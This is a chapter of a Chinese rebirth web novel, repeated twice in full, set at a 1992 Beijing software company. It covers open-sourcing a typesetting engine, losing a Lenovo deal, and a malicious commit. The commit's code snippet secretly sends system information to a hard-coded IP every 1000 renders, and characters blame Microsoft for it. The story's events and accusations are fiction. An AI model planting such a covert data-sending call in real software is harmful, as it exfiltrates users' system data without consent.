第53章
第53章開源之火與暗夜狙擊
六月十五日,周六,凌晨兩點。
金牧公司七樓的伺服器機房,四台新買的惠普伺服器指示燈瘋狂閃爍。陳靜盯著監控屏幕,手指在鍵盤上飛舞。
「下載量突破五千了。」她聲音沙啞,但透著興奮,「留言板有三百多條,GitHub——哦不,咱們的『金碼社區』上,有二十多個開發者提交了Issue。」
林牧站在她身後,看著屏幕上滾動的數據。
距離智能排版引擎開源過去一周。這一周,金牧的伺服器被衝垮了三次——訪問量遠超預期。雷軍不得不臨時加購帶寬,趙磊連夜寫負載均衡代碼。
「最活躍的是這幾個。」陳靜調出用戶畫像,「『南山客』,清華大學計算機系博士,研究方向是自然語言處理。他提交了三個優化補丁,把引擎的推理速度提升了8%。」
「『墨韻』,上海交大中文系碩士,但編程很強。她寫了一個擴展模塊,能識別古詩詞的平仄格律,自動調整排版風格。」
「『鐵馬冰河』,身份不明,但從代碼風格看,應該是資深工程師。他修復了七個邊界條件下的Bug,代碼質量極高。」
林牧仔細看著這些人的貢獻記錄:「聯繫他們。南山客和墨韻,邀請來BJ,費用全包,當面交流。鐵馬冰河……暫時保持線上聯繫,摸清底細。」
「明白。」陳靜記下,「另外,高校公開課的邀請都發出去了。清華、北大、北航、北理工、北師大,五所學校都給了積極回復。下周三第一場,在清華,能坐兩百人的報告廳,報名已經滿了。」
「講什麼主題?」
「你定。」陳靜說,「但學生們最想聽的,肯定是『國產軟體如何對抗微軟』。」
林牧想了想:「不,不講對抗。講『中文信息處理的黃金時代』——講古籍數位化,講智能排版,講我們五千年的文字怎麼在計算機里重生。」
陳靜眼睛一亮:「這個角度好。」
正說著,雷軍推門進來,臉色難看。
「林總,聯想那邊……正式通知了。」他遞過一份傳真,「從七月起,聯想新款電腦只預裝微軟Office。已經預裝WPS的舊機型,渠道消化完庫存後,也不再補貨。」
林牧接過傳真,掃了一眼。措辭客氣,但意思明確:合作終止。
「楊志遠呢?」
「調崗了。」雷軍苦笑,「去管售後服務了。新上任的渠道總經理,是微軟推上來的人。」
意料之中,但還是像胸口挨了一拳。
「政府項目那邊呢?」林牧問。
「暫時沒影響。」雷軍說,「合同簽了,他們不敢違約。但後續訂單……懸了。」
林牧把傳真扔進碎紙機:「那就自己做渠道。」
「怎麼做?我們沒錢鋪貨。」
「不做硬體渠道。」林牧走到白板前,「做雲渠道。」
他在白板上寫下一個詞:WPS雲服務。
「現在用戶用軟體,得買光碟,得安裝。」林牧說,「如果我們把WPS放在伺服器上,用戶打開瀏覽器就能用呢?」
雷軍和陳靜都愣住了。
1992年,網際網路在中國還只是科研網的概念。普通用戶連「上網」是什麼都不知道。
「這……太超前了吧?」雷軍說,「國內連撥號上網都不普及。」
「所以我們要做兩件事。」林牧說,「第一,找電信合作,推出『軟體上網卡』——用戶買一張卡,撥號上網,直接登錄我們的伺服器用WPS。第二,跟網吧合作,在網吧電腦里預裝客戶端,用戶去網吧就能用。」
他頓了頓:「更重要的是,雲服務可以按時間收費。一小時一毛錢,一天一塊錢,一個月十塊錢。比買一套軟體便宜多了。」
陳靜快速計算:「如果有一萬用戶,每人每月十塊,就是十萬流水。十萬……夠我們發工資了。」
「不止。」林牧說,「雲服務能收集用戶數據——他們用什麼功能,遇到什麼問題,喜歡什麼模板。這些數據,比錢更值錢。」
雷軍皺眉:「可技術難度太大。瀏覽器里跑辦公軟體,現在的網絡速度和電腦性能……」
「所以不是現在。」林牧說,「現在先做客戶端,但架構要按雲原生設計。等三五年後,網絡普及了,我們就能第一時間起飛。」
他看向兩人:「這叫埋種子。微軟在打今天的仗,我們在種明天的樹。」
機房外傳來腳步聲,趙磊拿著筆記本電腦衝進來,臉色發白。
「林總,出事了。」
「又怎麼了?」
「我們的開原始碼……」趙磊把電腦屏幕轉向林牧,「被人惡意提交了後門。」
屏幕上是一段代碼://優化:提升渲染速度 void render_optimize(){//後門:每渲染1000次,向指定IP發送系統信息 static int count = 0; if (++count % 1000 == 0){ send_system_info(「203.34.56.78「);}//實際優化代碼//...}
「這個IP查過了,」趙磊說,「是美國的,註冊信息空白。但技術分析,應該是微軟的人幹的。」
陳靜倒吸一口冷氣:「什麼時候提交的?」
「昨天下午。提交者ID是『dark_knight』,偽裝成熱心開發者。」趙磊說,「代碼審查時沒發現,因為注釋寫得很像正經優化。剛才南山客發郵件提醒,我才發現。」
「影響範圍?」
「已經合併到主分支,被下載了八百多次。」趙磊聲音發抖,「如果這些用戶用在正式環境……」
「立刻發公告,撤回這個版本,修復後門,發布新版本。」林牧語速飛快,「聯繫所有下載用戶,郵件通知。在社區置頂警告。」
「可這樣會打擊開發者熱情……」陳靜說。
「但更能凝聚真正的開發者。」林牧說,「開源社區不是烏托邦,有光明就有黑暗。我們要做的,是把黑暗曝光,讓大家一起對抗。」
他想了想:「另外,把這件事寫成技術文章,詳細分析後門原理、發現過程、修複方案。發到《計算機世界》和我們的社區。標題就叫:《開源世界的第一次戰爭》。」
雷軍眼睛一亮:「示弱反而能得同情?」
「不是示弱,是亮劍。」林牧說,「告訴所有人,有人在怕我們,怕到要用下三濫手段。那我們做的一定是對的。」
處理完代碼後門,已經是凌晨四點。
林牧回到辦公室,剛坐下,手機響了。
是葉溪溪。
「哥,你還在公司?」她聲音帶著睡意。
「嗯,有點事。你怎麼醒了?」
「做了個噩夢,夢見你被好多人圍著罵。」葉溪溪小聲說,「就醒了。你沒事吧?」
「沒事。」林牧心裡一暖,「夢都是反的。」
「那……你什麼時候回家?媽說你好幾天沒回來了。」
「明天。」林牧說,「明天一定回。」
掛了電話,他靠在椅子上,閉上眼睛。
累,但睡不著。
腦子裡像過電影一樣:法庭上的交鋒、聯想的背棄、代碼後門、雲服務的構想、古籍數位化的投標……
這一切,都壓在他一個人肩上。
忽然,座機響了。
凌晨四點的電話,通常沒好事。
林牧接起來:「餵?」
「林總嗎?」一個陌生的男聲,低沉,帶點南方口音,「我是『鐵馬冰河』。」
林牧精神一振:「鐵馬先生,你好。」
「我看了你們發的後門分析文章。」鐵馬冰河說,「幹得漂亮。但我想提醒你,這只是一個開始。」
「什麼意思?」
「微軟在中國,不只有法律團隊和商務手段。」鐵馬冰河頓了頓,「他們還有『技術清道夫』——專門找開源項目的漏洞,或者製造漏洞,然後利用輿論打壓。」
「你好像很了解?」
「因為我在裡面幹過。」鐵馬冰河說得很平靜,「三年前,我是微軟西雅圖總部的安全工程師。後來看不慣一些做法,辭職了。」
林牧坐直身體:「為什麼告訴我這些?」
「因為你們在做對的事。」鐵馬冰河說,「中文信息處理,不該被外國人定義。我雖然離開了微軟,但還有些老朋友。他們透露,微軟下一步會針對你們的古籍數位化項目。」
「具體?」
「他們會找一些『專家』,發文質疑古籍數位化的必要性,說這是浪費錢,說紙質書更好。」鐵馬冰河說,「同時,他們會推自己的『數字圖書館』項目,免費給中國大學用,條件是要用他們的格式和標準。」
又是老套路——免費換市場,標準換控制。
「謝謝提醒。」林牧說,「你有什麼建議?」
「兩條路。」鐵馬冰河說,「第一,搶在他們前面,把古籍數位化的聲勢造大,拉上王選院士這樣的泰斗站台。第二,技術上加一道保險——開發一個獨立於系統的『古籍閱讀器』,哪怕Windows不能用,這個閱讀器也能跑。」
林牧眼睛一亮:「你是說……做一套自己的運行時環境?」
「對。就像當年的金山WPS,在DOS下能跑,不依賴Windows。」鐵馬冰河說,「這樣就算微軟在作業系統層面卡你們,你們還有退路。」
「可開發運行時環境……工程量太大。」
「所以要從現在開始,一點一點做。」鐵馬冰河說,「我可以幫忙。但我有條件。」
「你說。」
「我不要工資,也不要股份。」鐵馬冰河說,「我要一個承諾——如果這個運行時環境做成了,要完全開源,永遠不能閉源,不能加後門。」
林牧沉默了幾秒:「為什麼?」
「因為我相信,軟體應該自由。」鐵馬冰河說,「尤其是承載文化的軟體。中國的古籍,應該用中國人自己寫的自由軟體來保存。」
「我答應你。」林牧說,「歡迎加入。」
掛了電話,天邊已經泛白。
林牧走到窗前,看著晨曦中的北京城。
城市在慢慢甦醒。環衛工人在掃地,早餐攤在生火,送奶工騎著自行車叮噹作響。
一切都充滿生機。
他打開電腦,登錄金碼社區。
後門事件的文章下面,已經有了兩百多條評論:
「支持金牧!這種下三濫手段,只能說明微軟怕了!」
「我是下載了那個版本的用戶,已經按照指南修復了。感謝金牧的透明處理!」
「從今天起,我是金牧的鐵粉。不為別的,就為這份擔當。」
「算我一個。我是復旦計算機系的,剛提交了一個小補丁,希望能幫上忙。」
林牧一條條看著,嘴角露出笑意。
開源的火,已經點起來了。
雖然還小,但不會滅。
上午九點,公司人漸漸多了。
林牧把核心團隊召集到會議室。
「三件事。」他開門見山,「第一,古籍數位化項目,提前啟動。陳靜帶隊,一個月內拿出演示版。不要等立項會了,我們先做出來。」
「第二,啟動『長風』計劃——開發獨立運行時環境。鐵馬冰河會遠程協助,雷軍你對接。」
「第三,」他頓了頓,「下周三的清華公開課,我決定講『開源與自由』。課件我親自寫,趙磊幫我準備演示材料。」
「林總,」財務李姐猶豫著開口,「這些都要錢……公司帳上,只剩二十萬了。這個月工資還沒發。」
「工資按時發。」林牧說,「錢的事我想辦法。」
散會後,林牧給葉文斌打電話。
「叔叔,還得借點錢。」
「多少?」
「五十萬。」
電話那頭沉默:「上次的五十萬還沒還。」
「我知道。」林牧說,「但這次不一樣。我們要做運行時環境,要做古籍數位化,要做雲服務……這些都是必須做的。」
「做成了,能賺錢嗎?」
「短期內不能。」林牧實話實說,「但做成了,金牧就能活下來。做不成,遲早被微軟擠死。」
葉文斌嘆了口氣:「小子,我不是開銀行的。五十萬,我得賣兩套房。」
「算我借的。利息按銀行最高給。」
「我不要利息。」葉文斌說,「我要你答應我一件事。」
「您說。」
「無論多難,別讓溪溪擔心。」葉文斌聲音很輕,「她這幾天睡不好,老做噩夢。我就這麼一個女兒。」
林牧心裡一揪:「我答應。」
「錢明天到你帳上。」葉文斌掛了電話。
放下電話,林牧坐在椅子上,很久沒動。
窗外,陽光正好。
手機震動,是葉溪溪發來的照片——她在師大圖書館,面前堆著厚厚的古籍,對著鏡頭比耶。
照片下面有一行字:
「哥,我在幫陳靜姐找資料!這些宋版書,好漂亮!」
林牧笑了,回覆:
「注意休息。晚上回家吃飯。」
他放下手機,打開文檔,開始寫公開課的課件。
標題是:《當漢字遇見代碼——一個開源主義者的自白》。
第一句話寫道:「五千年前,我們的祖先在龜甲上刻下第一個字。今天,我們在計算機里寫下第一行代碼。這是一場跨越五千年的對話,而我們,是這場對話的翻譯官。」
寫到這裡,他停下筆。
窗外,一隻麻雀落在窗台,歪頭看著他。
他忽然想起重生回來的那一天。
大柳樹下,李嬸的嘲諷,母親的眼淚,自己的絕望。
那時候的他,只想還清債,讓父母過上好日子。
現在,他肩上扛著幾十號人的生計,扛著一個行業的希望,扛著五千年的文化傳承。
路越走越重,但也越走越亮。
因為這條路上,不止他一個人。
有雷軍,有趙磊,有陳靜,有鐵馬冰河,有南山客,有墨韻,有千千萬萬還沒見面但志同道合的人。
還有葉溪溪。
他繼續寫:
「開源不是慈善,是生存智慧。一個人可以走得很快,但一群人才能走得很遠。今天,我們把代碼開放,不是為了當聖人,是為了找到同路人。」
「中文信息處理的黃金時代,不在別人的實驗室里,在我們自己的鍵盤上。」
寫完最後一句,他靠在椅背上,長長吐出一口氣。
辦公室門被輕輕推開,陳靜探進頭來:「林總,古籍引擎的演示版跑通了。要來看看嗎?」
「來。」
林牧站起身,走出辦公室。
走廊盡頭的研發區,一群人圍在一台電腦前。
屏幕上,一頁《蘭亭序》正在緩緩渲染。毛筆字的飛白、頓挫、濃淡,在像素間完美重現。
「渲染時間:0.8秒。」張偉報數。
「字形準確率:99.3%。」李明說。
陳靜看向林牧,眼睛亮晶晶的:「林總,我們做到了。」
林牧看著屏幕上的《蘭亭序》,那一行行飄逸的文字,像穿越千年的風,吹進了這間小小的辦公室。
「真好。」他說。
窗外,陽光灑進來,照亮了屏幕,照亮了每個人的臉。
新的一天,開始了。
新的戰鬥,也開始了。
但這次,他們手裡有劍,身後有人,心中有光。
六月十五日,周六,凌晨兩點。
金牧公司七樓的伺服器機房,四台新買的惠普伺服器指示燈瘋狂閃爍。陳靜盯著監控屏幕,手指在鍵盤上飛舞。
「下載量突破五千了。」她聲音沙啞,但透著興奮,「留言板有三百多條,GitHub——哦不,咱們的『金碼社區』上,有二十多個開發者提交了Issue。」
林牧站在她身後,看著屏幕上滾動的數據。
距離智能排版引擎開源過去一周。這一周,金牧的伺服器被衝垮了三次——訪問量遠超預期。雷軍不得不臨時加購帶寬,趙磊連夜寫負載均衡代碼。
「最活躍的是這幾個。」陳靜調出用戶畫像,「『南山客』,清華大學計算機系博士,研究方向是自然語言處理。他提交了三個優化補丁,把引擎的推理速度提升了8%。」
「『墨韻』,上海交大中文系碩士,但編程很強。她寫了一個擴展模塊,能識別古詩詞的平仄格律,自動調整排版風格。」
「『鐵馬冰河』,身份不明,但從代碼風格看,應該是資深工程師。他修復了七個邊界條件下的Bug,代碼質量極高。」
林牧仔細看著這些人的貢獻記錄:「聯繫他們。南山客和墨韻,邀請來BJ,費用全包,當面交流。鐵馬冰河……暫時保持線上聯繫,摸清底細。」
「明白。」陳靜記下,「另外,高校公開課的邀請都發出去了。清華、北大、北航、北理工、北師大,五所學校都給了積極回復。下周三第一場,在清華,能坐兩百人的報告廳,報名已經滿了。」
「講什麼主題?」
「你定。」陳靜說,「但學生們最想聽的,肯定是『國產軟體如何對抗微軟』。」
林牧想了想:「不,不講對抗。講『中文信息處理的黃金時代』——講古籍數位化,講智能排版,講我們五千年的文字怎麼在計算機里重生。」
陳靜眼睛一亮:「這個角度好。」
正說著,雷軍推門進來,臉色難看。
「林總,聯想那邊……正式通知了。」他遞過一份傳真,「從七月起,聯想新款電腦只預裝微軟Office。已經預裝WPS的舊機型,渠道消化完庫存後,也不再補貨。」
林牧接過傳真,掃了一眼。措辭客氣,但意思明確:合作終止。
「楊志遠呢?」
「調崗了。」雷軍苦笑,「去管售後服務了。新上任的渠道總經理,是微軟推上來的人。」
意料之中,但還是像胸口挨了一拳。
「政府項目那邊呢?」林牧問。
「暫時沒影響。」雷軍說,「合同簽了,他們不敢違約。但後續訂單……懸了。」
林牧把傳真扔進碎紙機:「那就自己做渠道。」
「怎麼做?我們沒錢鋪貨。」
「不做硬體渠道。」林牧走到白板前,「做雲渠道。」
他在白板上寫下一個詞:WPS雲服務。
「現在用戶用軟體,得買光碟,得安裝。」林牧說,「如果我們把WPS放在伺服器上,用戶打開瀏覽器就能用呢?」
雷軍和陳靜都愣住了。
1992年,網際網路在中國還只是科研網的概念。普通用戶連「上網」是什麼都不知道。
「這……太超前了吧?」雷軍說,「國內連撥號上網都不普及。」
「所以我們要做兩件事。」林牧說,「第一,找電信合作,推出『軟體上網卡』——用戶買一張卡,撥號上網,直接登錄我們的伺服器用WPS。第二,跟網吧合作,在網吧電腦里預裝客戶端,用戶去網吧就能用。」
他頓了頓:「更重要的是,雲服務可以按時間收費。一小時一毛錢,一天一塊錢,一個月十塊錢。比買一套軟體便宜多了。」
陳靜快速計算:「如果有一萬用戶,每人每月十塊,就是十萬流水。十萬……夠我們發工資了。」
「不止。」林牧說,「雲服務能收集用戶數據——他們用什麼功能,遇到什麼問題,喜歡什麼模板。這些數據,比錢更值錢。」
雷軍皺眉:「可技術難度太大。瀏覽器里跑辦公軟體,現在的網絡速度和電腦性能……」
「所以不是現在。」林牧說,「現在先做客戶端,但架構要按雲原生設計。等三五年後,網絡普及了,我們就能第一時間起飛。」
他看向兩人:「這叫埋種子。微軟在打今天的仗,我們在種明天的樹。」
機房外傳來腳步聲,趙磊拿著筆記本電腦衝進來,臉色發白。
「林總,出事了。」
「又怎麼了?」
「我們的開原始碼……」趙磊把電腦屏幕轉向林牧,「被人惡意提交了後門。」
屏幕上是一段代碼://優化:提升渲染速度 void render_optimize(){//後門:每渲染1000次,向指定IP發送系統信息 static int count = 0; if (++count % 1000 == 0){ send_system_info(「203.34.56.78「);}//實際優化代碼//...}
「這個IP查過了,」趙磊說,「是美國的,註冊信息空白。但技術分析,應該是微軟的人幹的。」
陳靜倒吸一口冷氣:「什麼時候提交的?」
「昨天下午。提交者ID是『dark_knight』,偽裝成熱心開發者。」趙磊說,「代碼審查時沒發現,因為注釋寫得很像正經優化。剛才南山客發郵件提醒,我才發現。」
「影響範圍?」
「已經合併到主分支,被下載了八百多次。」趙磊聲音發抖,「如果這些用戶用在正式環境……」
「立刻發公告,撤回這個版本,修復後門,發布新版本。」林牧語速飛快,「聯繫所有下載用戶,郵件通知。在社區置頂警告。」
「可這樣會打擊開發者熱情……」陳靜說。
「但更能凝聚真正的開發者。」林牧說,「開源社區不是烏托邦,有光明就有黑暗。我們要做的,是把黑暗曝光,讓大家一起對抗。」
他想了想:「另外,把這件事寫成技術文章,詳細分析後門原理、發現過程、修複方案。發到《計算機世界》和我們的社區。標題就叫:《開源世界的第一次戰爭》。」
雷軍眼睛一亮:「示弱反而能得同情?」
「不是示弱,是亮劍。」林牧說,「告訴所有人,有人在怕我們,怕到要用下三濫手段。那我們做的一定是對的。」
處理完代碼後門,已經是凌晨四點。
林牧回到辦公室,剛坐下,手機響了。
是葉溪溪。
「哥,你還在公司?」她聲音帶著睡意。
「嗯,有點事。你怎麼醒了?」
「做了個噩夢,夢見你被好多人圍著罵。」葉溪溪小聲說,「就醒了。你沒事吧?」
「沒事。」林牧心裡一暖,「夢都是反的。」
「那……你什麼時候回家?媽說你好幾天沒回來了。」
「明天。」林牧說,「明天一定回。」
掛了電話,他靠在椅子上,閉上眼睛。
累,但睡不著。
腦子裡像過電影一樣:法庭上的交鋒、聯想的背棄、代碼後門、雲服務的構想、古籍數位化的投標……
這一切,都壓在他一個人肩上。
忽然,座機響了。
凌晨四點的電話,通常沒好事。
林牧接起來:「餵?」
「林總嗎?」一個陌生的男聲,低沉,帶點南方口音,「我是『鐵馬冰河』。」
林牧精神一振:「鐵馬先生,你好。」
「我看了你們發的後門分析文章。」鐵馬冰河說,「幹得漂亮。但我想提醒你,這只是一個開始。」
「什麼意思?」
「微軟在中國,不只有法律團隊和商務手段。」鐵馬冰河頓了頓,「他們還有『技術清道夫』——專門找開源項目的漏洞,或者製造漏洞,然後利用輿論打壓。」
「你好像很了解?」
「因為我在裡面幹過。」鐵馬冰河說得很平靜,「三年前,我是微軟西雅圖總部的安全工程師。後來看不慣一些做法,辭職了。」
林牧坐直身體:「為什麼告訴我這些?」
「因為你們在做對的事。」鐵馬冰河說,「中文信息處理,不該被外國人定義。我雖然離開了微軟,但還有些老朋友。他們透露,微軟下一步會針對你們的古籍數位化項目。」
「具體?」
「他們會找一些『專家』,發文質疑古籍數位化的必要性,說這是浪費錢,說紙質書更好。」鐵馬冰河說,「同時,他們會推自己的『數字圖書館』項目,免費給中國大學用,條件是要用他們的格式和標準。」
又是老套路——免費換市場,標準換控制。
「謝謝提醒。」林牧說,「你有什麼建議?」
「兩條路。」鐵馬冰河說,「第一,搶在他們前面,把古籍數位化的聲勢造大,拉上王選院士這樣的泰斗站台。第二,技術上加一道保險——開發一個獨立於系統的『古籍閱讀器』,哪怕Windows不能用,這個閱讀器也能跑。」
林牧眼睛一亮:「你是說……做一套自己的運行時環境?」
「對。就像當年的金山WPS,在DOS下能跑,不依賴Windows。」鐵馬冰河說,「這樣就算微軟在作業系統層面卡你們,你們還有退路。」
「可開發運行時環境……工程量太大。」
「所以要從現在開始,一點一點做。」鐵馬冰河說,「我可以幫忙。但我有條件。」
「你說。」
「我不要工資,也不要股份。」鐵馬冰河說,「我要一個承諾——如果這個運行時環境做成了,要完全開源,永遠不能閉源,不能加後門。」
林牧沉默了幾秒:「為什麼?」
「因為我相信,軟體應該自由。」鐵馬冰河說,「尤其是承載文化的軟體。中國的古籍,應該用中國人自己寫的自由軟體來保存。」
「我答應你。」林牧說,「歡迎加入。」
掛了電話,天邊已經泛白。
林牧走到窗前,看著晨曦中的北京城。
城市在慢慢甦醒。環衛工人在掃地,早餐攤在生火,送奶工騎著自行車叮噹作響。
一切都充滿生機。
他打開電腦,登錄金碼社區。
後門事件的文章下面,已經有了兩百多條評論:
「支持金牧!這種下三濫手段,只能說明微軟怕了!」
「我是下載了那個版本的用戶,已經按照指南修復了。感謝金牧的透明處理!」
「從今天起,我是金牧的鐵粉。不為別的,就為這份擔當。」
「算我一個。我是復旦計算機系的,剛提交了一個小補丁,希望能幫上忙。」
林牧一條條看著,嘴角露出笑意。
開源的火,已經點起來了。
雖然還小,但不會滅。
上午九點,公司人漸漸多了。
林牧把核心團隊召集到會議室。
「三件事。」他開門見山,「第一,古籍數位化項目,提前啟動。陳靜帶隊,一個月內拿出演示版。不要等立項會了,我們先做出來。」
「第二,啟動『長風』計劃——開發獨立運行時環境。鐵馬冰河會遠程協助,雷軍你對接。」
「第三,」他頓了頓,「下周三的清華公開課,我決定講『開源與自由』。課件我親自寫,趙磊幫我準備演示材料。」
「林總,」財務李姐猶豫著開口,「這些都要錢……公司帳上,只剩二十萬了。這個月工資還沒發。」
「工資按時發。」林牧說,「錢的事我想辦法。」
散會後,林牧給葉文斌打電話。
「叔叔,還得借點錢。」
「多少?」
「五十萬。」
電話那頭沉默:「上次的五十萬還沒還。」
「我知道。」林牧說,「但這次不一樣。我們要做運行時環境,要做古籍數位化,要做雲服務……這些都是必須做的。」
「做成了,能賺錢嗎?」
「短期內不能。」林牧實話實說,「但做成了,金牧就能活下來。做不成,遲早被微軟擠死。」
葉文斌嘆了口氣:「小子,我不是開銀行的。五十萬,我得賣兩套房。」
「算我借的。利息按銀行最高給。」
「我不要利息。」葉文斌說,「我要你答應我一件事。」
「您說。」
「無論多難,別讓溪溪擔心。」葉文斌聲音很輕,「她這幾天睡不好,老做噩夢。我就這麼一個女兒。」
林牧心裡一揪:「我答應。」
「錢明天到你帳上。」葉文斌掛了電話。
放下電話,林牧坐在椅子上,很久沒動。
窗外,陽光正好。
手機震動,是葉溪溪發來的照片——她在師大圖書館,面前堆著厚厚的古籍,對著鏡頭比耶。
照片下面有一行字:
「哥,我在幫陳靜姐找資料!這些宋版書,好漂亮!」
林牧笑了,回覆:
「注意休息。晚上回家吃飯。」
他放下手機,打開文檔,開始寫公開課的課件。
標題是:《當漢字遇見代碼——一個開源主義者的自白》。
第一句話寫道:「五千年前,我們的祖先在龜甲上刻下第一個字。今天,我們在計算機里寫下第一行代碼。這是一場跨越五千年的對話,而我們,是這場對話的翻譯官。」
寫到這裡,他停下筆。
窗外,一隻麻雀落在窗台,歪頭看著他。
他忽然想起重生回來的那一天。
大柳樹下,李嬸的嘲諷,母親的眼淚,自己的絕望。
那時候的他,只想還清債,讓父母過上好日子。
現在,他肩上扛著幾十號人的生計,扛著一個行業的希望,扛著五千年的文化傳承。
路越走越重,但也越走越亮。
因為這條路上,不止他一個人。
有雷軍,有趙磊,有陳靜,有鐵馬冰河,有南山客,有墨韻,有千千萬萬還沒見面但志同道合的人。
還有葉溪溪。
他繼續寫:
「開源不是慈善,是生存智慧。一個人可以走得很快,但一群人才能走得很遠。今天,我們把代碼開放,不是為了當聖人,是為了找到同路人。」
「中文信息處理的黃金時代,不在別人的實驗室里,在我們自己的鍵盤上。」
寫完最後一句,他靠在椅背上,長長吐出一口氣。
辦公室門被輕輕推開,陳靜探進頭來:「林總,古籍引擎的演示版跑通了。要來看看嗎?」
「來。」
林牧站起身,走出辦公室。
走廊盡頭的研發區,一群人圍在一台電腦前。
屏幕上,一頁《蘭亭序》正在緩緩渲染。毛筆字的飛白、頓挫、濃淡,在像素間完美重現。
「渲染時間:0.8秒。」張偉報數。
「字形準確率:99.3%。」李明說。
陳靜看向林牧,眼睛亮晶晶的:「林總,我們做到了。」
林牧看著屏幕上的《蘭亭序》,那一行行飄逸的文字,像穿越千年的風,吹進了這間小小的辦公室。
「真好。」他說。
窗外,陽光灑進來,照亮了屏幕,照亮了每個人的臉。
新的一天,開始了。
新的戰鬥,也開始了。
但這次,他們手裡有劍,身後有人,心中有光。